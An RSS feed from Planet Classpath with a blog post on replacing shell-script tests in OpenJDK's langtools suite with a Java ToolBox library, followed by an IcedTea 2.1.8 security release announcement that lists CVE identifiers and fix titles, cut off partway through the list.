<?xml version="1.0"?>
<rss version="2.0">
<channel>
	<title>Planet Classpath</title>
	<link>http://planet.classpath.org/</link>
	<language>en</language>
	<description>Planet Classpath - http://planet.classpath.org/</description>
	<ttl>30</ttl>

<item>
	<title>Jonathan Gibbons: Shelling Tests</title>
	<guid>https://blogs.oracle.com/jjg/entry/shelling_tests</guid>
	<link>https://blogs.oracle.com/jjg/entry/shelling_tests</link>
	<description>&lt;dl&gt;
&lt;dt&gt;&lt;b&gt;shell&lt;/b&gt;
&lt;/dt&gt;&lt;dd style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;float: left; width: 4em;&quot;&gt;&lt;i&gt;v. tr.&lt;/i&gt;&lt;/span&gt;To remove from a shell.
&lt;/dd&gt;&lt;dd style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;float: left; width: 4em;&quot;&gt;&lt;i&gt;v. intr.&lt;/i&gt;&lt;/span&gt;To shed or become free of a shell.
&lt;/dd&gt;&lt;/dl&gt;

&lt;p&gt;
&lt;a href=&quot;http://openjdk.java.net/projects/code-tools/jtreg/intro.html&quot;&gt;jtreg&lt;/a&gt; provides support for various different types of tests. API tests can use &quot;&lt;code&gt;@run main&lt;/code&gt;&quot;, simple compiler tests can use &quot;&lt;code&gt;@compile&lt;/code&gt;&quot;, and simple GUI or applet tests can use &quot;&lt;code&gt;@run applet&lt;/code&gt;&quot;.
And then there's the ubiquitous &quot;misc&quot; or &quot;other&quot; category, for which &quot;&lt;code&gt;@run shell&lt;/code&gt;&quot; is provided. However, there are a number of reasons why not to use &quot;shell tests&quot;, and &lt;a href=&quot;http://hg.openjdk.java.net/jdk8/tl/langtools/rev/dc8b7aa7cef3&quot;&gt;recently&lt;/a&gt; we made another step forward to reduce the use of shell tests in the langtools repository.

&lt;/p&gt;&lt;p&gt;  
&lt;img alt=&quot;graph showing decline in number of shell tests&quot; src=&quot;https://blogs.oracle.com/jjg/resource/shelling-tests/sh-files-in-langtools-2.png&quot; /&gt;

&lt;/p&gt;&lt;h3&gt;Why shell tests?&lt;/h3&gt;

jtreg provides a simple, basic mechanism for executing a simple series of steps to enable a class to be compiled and run. It is not, and never was, intended to be a full-featured shell language. For anything more complex, support was provided for executing a shell script, as a way of executing an arbitrary sequence of commands. In the early days of JDK, this was a reasonable and expedient choice and served well for a number of years.

&lt;h3&gt;Why not shell tests?&lt;/h3&gt;

&lt;p&gt;
Perhaps the most significant issue is that of cross-platform portability, and related to that, which shell environment to use? Initially, on Windows the requirement was to use MKS, but recently, Cygwin has become the standard. Both of these have suble and not so subtle differences to shell environments on Unix-like platforms, which lead to subtle rules about being careful about which commands to use and not use, or to large cut-n-paste blocks of text at the head of a script to set up platform-specific variables such as FS (for the file separator) and PS (for the path separator). These blocks of text had to be updated when the Mac became a standard supported platform, and are potentially a source of issues in the context of porting OpenJDK to other platforms.

&lt;/p&gt;&lt;p&gt;
A corollary is that it is difficult to write and test a reliable cross-platform test in a shell script. In the early days of Java, it was common for JDK developers to have a collection of machines under their desk, so that tests could be run on all supported platforms. That was both expensive and inefficient. Even today, with virtualization, it is still problematic to run tests on all supported platforms, and so it is better to write tests such that the test more likely to work across all supported platforms.

&lt;/p&gt;&lt;p&gt;
Another issue is that it can be hard to write a shell script that works well in the face of potential failure of the commands that it executes. It is easy to write a shell script that assumes everything works as expected; it is much harder to (remember to) program defensively that some commands might fail. And when a command fails, you need to be able to verify that it failed for the right reason. 

&lt;/p&gt;&lt;p&gt;
Even worse than the points in the preceding paragraphs, it is hard to write a good test in shell script, period. The inverse may be more obviously true: it is far too easy to write a bad test in shell script, that will not behave as expected. Executing the command &quot;java&quot; will look for the command on your PATH, which is almost certainly not the version you should be using, which is probably ${TESTJAVA}/bin/java.  Executing a command like &quot;rm stuff&quot; at the end of the script will likely succeed, and will make the test appear to succeed, even if preceding commands have failed. And on Windows, you need to be very careful to understand the differences in the way that Cygwin and Java handle filenames and paths.

&lt;/p&gt;&lt;p&gt;
Finally, there is the issue of performance.  Driven by the desire for higher quality, that has meant wanting to run more tests more often, and that has led to wanting to run the tests faster [&lt;a href=&quot;http://blogs.oracle.com/jjg/feed/entries/atom#fn1&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;http://blogs.oracle.com/jjg/feed/entries/atom#fn2&quot;&gt;2&lt;/a&gt;]. 
The Java/shell boundary is an impenetrable performance barrier. Even if the shell script invokes Java commands, they're each still in a different/fresh/cold new JVM, which means you lose the potential benefit of any JVM optimizations.  Now, sometimes it is indeed necessary for the test to start a new JVM – for example, to run a program in a JVM with a particular set of JVM options – but that is often not the case, especially in the langtools world testing programs like javac, javadoc, and so on.  Writing a test in Java gives you the choice of when to stay within the same JVM and when to start a new one; writing a test as a shell script, you have no such choice.

&lt;/p&gt;&lt;h3&gt;Removing shell tests&lt;/h3&gt;

&lt;p&gt;
As you can see illustrated in the graph above, there have been three significant reductions in the number of shell tests in the langtools repository.

&lt;/p&gt;&lt;h4&gt;July, 2008&lt;/h4&gt;

&lt;p&gt;
The first major reduction followed an analysis of the reasons that shell scripts were being used. It turned out that a significant number of shell tests were running javac, and then using &lt;code&gt;diff&lt;/code&gt; to compare the console output from javac against a so-called &lt;i&gt;golden file&lt;/i&gt; containing expected output. Supposedly, jtreg directly supported such a feature, but in reality, it did not work well enough to be useful, and so shell tests were being used to worked around that issue. Once the tool was fixed, it became possible to replace a whole category of shell tests with tests that were equivalent, or better, using other jtreg action tags.

&lt;/p&gt;&lt;h4&gt;February, 2012&lt;/h4&gt;

&lt;p&gt;
The second major reduction in the number of shell tests followed the removal of the &lt;code&gt;apt&lt;/code&gt; early in the development cycle for JDK 8. The tests for the tool were relatively complex, and a legitimate use of shell tests, although if the tool had not been scheduled for removal, it would have been worth rewriting these tests in Java. As it was, it was easier to wait for the tool to be removed, and to remove the tests along with it.

&lt;/p&gt;&lt;h4&gt;February, 2013&lt;/h4&gt;

&lt;p&gt;
While the first two big reductions in the number of shell tests were significant, they were both the result of special circumstances -- working around bugs in jtreg, and the result of not needing the tests any more. The most recent reduction in the number of shell tests is of more general interest, since it is a more general purpose solution.

&lt;/p&gt;&lt;p&gt;
In the early days, Java was not a mature enough platform to consider writing the equivalent of shell scripts in Java. In addition, the default jtreg execution mode was &quot;othervm&quot;, and it was much faster to run a shell script than it was to start up a new virtual machine just to sequence through the actions of a test that would in turn typically require even more virtual machines to be started.

&lt;/p&gt;&lt;p&gt;
Times change. The Java platform has matured, and it is now common to use jtreg to run tests in &quot;samevm&quot; or &quot;agentvm&quot; mode, which means that the cost of running a Java class to execute the steps of a test is much less than it was before. New language features (like try-with-resources) and new API (like java.lang.ProcessBuilder and java.nio.file.*) mean that is easier then ever before to use Java to perform a series of steps for which might have have previously considered using a shell script.

&lt;/p&gt;&lt;p&gt;
Attitudes change too. With hindsight, the initial simplicity of writing a shell test is a short term benefit compared to the long term maintenance cost. An equivalent Java program may have a higher initial cost, such as making you consider checked exceptions, but this can provide benefits later on, such as better detection and reporting of faults when something eventually does go wrong, years later.

&lt;/p&gt;&lt;p&gt;
With all this in mind, a recent addition to the LangTools team, Vicente Romero, took on the task of analysing the remaining shell scripts in the langtools test suite, with the goal of writing a library of useful methods, such that it was relatively easy to translate each shell script into an equivalent Java program. The result is a class we called ToolBox, and it provides equivalents for the commands we were previously using in our shell scripts.  Some methods fork processes as needed; other methods can be implemented directly in the library, leveraging standard Java API.

&lt;/p&gt;&lt;h3&gt;Lessons Learned&lt;/h3&gt;

&lt;p&gt;
The work to develop the ToolBox library has been a success and as a result, we converted a significant numer of the remaining shell tests in the langtools test suite to Java code. A few tests did not fit into the pattern of the rest of the tests, and will need to be re-examined before we can truly declare a shell-free test zone.

&lt;/p&gt;&lt;p&gt;
There is something of a hidden cost here, however: after all, nothing comes for free.  The cost is that the tests all depend on a common shared library. In the early days, it was regarded as very important that tests should be as standalone as possible, such that they can be run and issues debugged outside the context of the test harness. That is maybe less important these days, and we see the use of standard test frameworks, like TestNG, and custom test frameworks, like JavadocTester for javadoc tests, and now ToolBox for shell-like tests. The cost is that we need to be careful (as with any library code) that if we change or evolve the API, we do not break existing clients.

&lt;/p&gt;&lt;h3&gt;Leveraging ToolBox&lt;/h3&gt;

&lt;p&gt;
Can we use ToolBox in other test suites, such as the main jdk regression suite? Yes, and no. First and foremost, those tests are in a different repository, and sharing across a repository boundary would be problematic. More significantly however, the code in the langtools ToolBox is customized to the needs of the langtools tests. Although the concept of the ToolBox class should be applicable to the jdk regression test suite, it is likely that an analysis of the shell scripts in that test suite would lead to a different set of utility methods in a jdk version of ToolBox. However, I am confident that if someone were to do so, they would see the same advantages in that test suite that we have seen in the langtools test suite.

&lt;/p&gt;&lt;hr align=&quot;left&quot; width=&quot;50%&quot; /&gt;

&lt;p&gt;
&lt;a name=&quot;fn1&quot;&gt;1. &lt;/a&gt;&lt;a href=&quot;https://blogs.oracle.com/jjg/entry/speeding_up_tests_a_langtools&quot;&gt;Speeding up tests: a langtools milestone&lt;/a&gt;&lt;br /&gt;
&lt;a name=&quot;fn2&quot;&gt;2. &lt;/a&gt;&lt;a href=&quot;https://blogs.oracle.com/jjg/entry/speeding_up_tests_again_more&quot;&gt;Speeding up tests again: another milestone&lt;/a&gt;&lt;br /&gt;

&lt;/p&gt;&lt;hr /&gt;

&lt;small&gt;Thanks to Joe Darcy and Vicente Romero for reviewing this entry.&lt;/small&gt;</description>
	<pubDate>Fri, 17 May 2013 22:00:46 +0000</pubDate>
</item>
<item>
	<title>Andrew Hughes: [SECURITY] IcedTea 2.1.8 for OpenJDK 7 Released!</title>
	<guid>http://blog.fuseyism.com/?p=551</guid>
	<link>http://blog.fuseyism.com/index.php/2013/05/10/security-icedtea-2-1-8-for-openjdk-7-released/</link>
	<description>&lt;p&gt;The IcedTea project provides a harness to build the source code from OpenJDK using Free Software build tools, along with additional features such as a &lt;a href=&quot;http://en.wikipedia.org/wiki/PulseAudio&quot;&gt;PulseAudio&lt;/a&gt; sound driver and support for alternative virtual machines.&lt;/p&gt;
&lt;p&gt;This release updates our OpenJDK 7 support to include the latest security updates. We recommend that users of the 2.1.x branch upgrade to this latest release as soon as possible. The security fixes are as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6657673&quot;&gt;S6657673&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1518&quot;&gt;CVE-2013-1518&lt;/a&gt;: Issues with JAXP&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=7200507&quot;&gt;S7200507&lt;/a&gt;: Refactor Introspector internals&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8000724&quot;&gt;S8000724&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2417&quot;&gt;CVE-2013-2417&lt;/a&gt;: Improve networking serialization&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001031&quot;&gt;S8001031&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2419&quot;&gt;CVE-2013-2419&lt;/a&gt;: Better font processing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001040&quot;&gt;S8001040&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1537&quot;&gt;CVE-2013-1537&lt;/a&gt;: Rework RMI model&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001322&quot;&gt;S8001322&lt;/a&gt;: Refactor deserialization&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001329&quot;&gt;S8001329&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1557&quot;&gt;CVE-2013-1557&lt;/a&gt;: Augment RMI logging&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003335&quot;&gt;S8003335&lt;/a&gt;: Better handling of Finalizer thread&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003445&quot;&gt;S8003445&lt;/a&gt;: Adjust JAX-WS to focus on API&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003543&quot;&gt;S8003543&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2415&quot;&gt;CVE-2013-2415&lt;/a&gt;: Improve processing of MTOM attachments&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004261&quot;&gt;S8004261&lt;/a&gt;: Improve input validation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004336&quot;&gt;S8004336&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2431&quot;&gt;CVE-2013-2431&lt;/a&gt;: Better handling of method handle intrinsic frames&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004986&quot;&gt;S8004986&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2383&quot;&gt;CVE-2013-2383&lt;/a&gt;: Better handling of glyph table&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004987&quot;&gt;S8004987&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2384&quot;&gt;CVE-2013-2384&lt;/a&gt;: Improve font layout&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004994&quot;&gt;S8004994&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1569&quot;&gt;CVE-2013-1569&lt;/a&gt;: Improve checking of glyph table&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8005432&quot;&gt;S8005432&lt;/a&gt;: Update access to JAX-WS&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8005943&quot;&gt;S8005943&lt;/a&gt;: (process) Improved Runtime.exec&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006309&quot;&gt;S8006309&lt;/a&gt;: More reliable control panel operation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006435&quot;&gt;S8006435&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2424&quot;&gt;CVE-2013-2424&lt;/a&gt;: Improvements in JMX&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006790&quot;&gt;S8006790&lt;/a&gt;: Improve checking for windows&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006795&quot;&gt;S8006795&lt;/a&gt;: Improve font warning messages&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007406&quot;&gt;S8007406&lt;/a&gt;: Improve accessibility of AccessBridge&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007617&quot;&gt;S8007617&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2420&quot;&gt;CVE-2013-2420&lt;/a&gt;: Better validation of images&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007667&quot;&gt;S8007667&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2430&quot;&gt;CVE-2013-2430&lt;/a&gt;: Better image reading&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007918&quot;&gt;S8007918&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2429&quot;&gt;CVE-2013-2429&lt;/a&gt;: Better image writing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8008140&quot;&gt;S8008140&lt;/a&gt;: Better method handle resolution&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009049&quot;&gt;S8009049&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2436&quot;&gt;CVE-2013-2436&lt;/a&gt;: Better method handle binding&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009063&quot;&gt;S8009063&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2426&quot;&gt;CVE-2013-2426&lt;/a&gt;: Improve reliability of ConcurrentHashMap&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009305&quot;&gt;S8009305&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-0401&quot;&gt;CVE-2013-0401&lt;/a&gt;: Improve AWT data transfer&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009677&quot;&gt;S8009677&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2423&quot;&gt;CVE-2013-2423&lt;/a&gt;: Better setting of setters&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009699&quot;&gt;S8009699&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2421&quot;&gt;CVE-2013-2421&lt;/a&gt;: Methodhandle lookup&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009814&quot;&gt;S8009814&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1488&quot;&gt;CVE-2013-1488&lt;/a&gt;: Better driver management&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009857&quot;&gt;S8009857&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2422&quot;&gt;CVE-2013-2422&lt;/a&gt;: Problem with plugin&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In addition, IcedTea includes the usual IcedTea patches to allow builds against system libraries and to support more esoteric architectures.&lt;/p&gt;
&lt;p&gt;If you find an issue with the release, please report it to &lt;a href=&quot;http://icedtea.classpath.org/bugzilla&quot;&gt;our bug database&lt;/a&gt; under the appropriate component.  Development discussion takes place on &lt;a href=&quot;mailto:distro-pkg-dev@openjdk.java.net&quot;&gt;the distro-pkg-dev OpenJDK mailing list&lt;/a&gt; and patches are always welcome.&lt;/p&gt;
&lt;p&gt;Full details of the release can be found below.&lt;/p&gt;
&lt;h2&gt;What’s New?&lt;/h2&gt;
&lt;h3&gt;New in release 2.1.8 (2013-05-02)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Security fixes
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6657673&quot;&gt;S6657673&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1518&quot;&gt;CVE-2013-1518&lt;/a&gt;: Issues with JAXP&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=7200507&quot;&gt;S7200507&lt;/a&gt;: Refactor Introspector internals&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8000724&quot;&gt;S8000724&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2417&quot;&gt;CVE-2013-2417&lt;/a&gt;: Improve networking serialization&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001031&quot;&gt;S8001031&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2419&quot;&gt;CVE-2013-2419&lt;/a&gt;: Better font processing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001040&quot;&gt;S8001040&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1537&quot;&gt;CVE-2013-1537&lt;/a&gt;: Rework RMI model&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001322&quot;&gt;S8001322&lt;/a&gt;: Refactor deserialization&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001329&quot;&gt;S8001329&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1557&quot;&gt;CVE-2013-1557&lt;/a&gt;: Augment RMI logging&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003335&quot;&gt;S8003335&lt;/a&gt;: Better handling of Finalizer thread&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003445&quot;&gt;S8003445&lt;/a&gt;: Adjust JAX-WS to focus on API&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003543&quot;&gt;S8003543&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2415&quot;&gt;CVE-2013-2415&lt;/a&gt;: Improve processing of MTOM attachments&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004261&quot;&gt;S8004261&lt;/a&gt;: Improve input validation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004336&quot;&gt;S8004336&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2431&quot;&gt;CVE-2013-2431&lt;/a&gt;: Better handling of method handle intrinsic frames&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004986&quot;&gt;S8004986&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2383&quot;&gt;CVE-2013-2383&lt;/a&gt;: Better handling of glyph table&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004987&quot;&gt;S8004987&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2384&quot;&gt;CVE-2013-2384&lt;/a&gt;: Improve font layout&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004994&quot;&gt;S8004994&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1569&quot;&gt;CVE-2013-1569&lt;/a&gt;: Improve checking of glyph table&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8005432&quot;&gt;S8005432&lt;/a&gt;: Update access to JAX-WS&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8005943&quot;&gt;S8005943&lt;/a&gt;: (process) Improved Runtime.exec&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006309&quot;&gt;S8006309&lt;/a&gt;: More reliable control panel operation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006435&quot;&gt;S8006435&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2424&quot;&gt;CVE-2013-2424&lt;/a&gt;: Improvements in JMX&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006790&quot;&gt;S8006790&lt;/a&gt;: Improve checking for windows&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006795&quot;&gt;S8006795&lt;/a&gt;: Improve font warning messages&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007406&quot;&gt;S8007406&lt;/a&gt;: Improve accessibility of AccessBridge&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007617&quot;&gt;S8007617&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2420&quot;&gt;CVE-2013-2420&lt;/a&gt;: Better validation of images&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007667&quot;&gt;S8007667&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2430&quot;&gt;CVE-2013-2430&lt;/a&gt;: Better image reading&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8007918&quot;&gt;S8007918&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2429&quot;&gt;CVE-2013-2429&lt;/a&gt;: Better image writing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8008140&quot;&gt;S8008140&lt;/a&gt;: Better method handle resolution&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009049&quot;&gt;S8009049&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2436&quot;&gt;CVE-2013-2436&lt;/a&gt;: Better method handle binding&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009063&quot;&gt;S8009063&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2426&quot;&gt;CVE-2013-2426&lt;/a&gt;: Improve reliability of ConcurrentHashMap&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009305&quot;&gt;S8009305&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-0401&quot;&gt;CVE-2013-0401&lt;/a&gt;: Improve AWT data transfer&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009677&quot;&gt;S8009677&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2423&quot;&gt;CVE-2013-2423&lt;/a&gt;: Better setting of setters&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009699&quot;&gt;S8009699&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2421&quot;&gt;CVE-2013-2421&lt;/a&gt;: Methodhandle lookup&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009814&quot;&gt;S8009814&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1488&quot;&gt;CVE-2013-1488&lt;/a&gt;: Better driver management&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8009857&quot;&gt;S8009857&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2422&quot;&gt;CVE-2013-2422&lt;/a&gt;: Problem with plugin&lt;/li&gt;
&lt;/ul&gt;
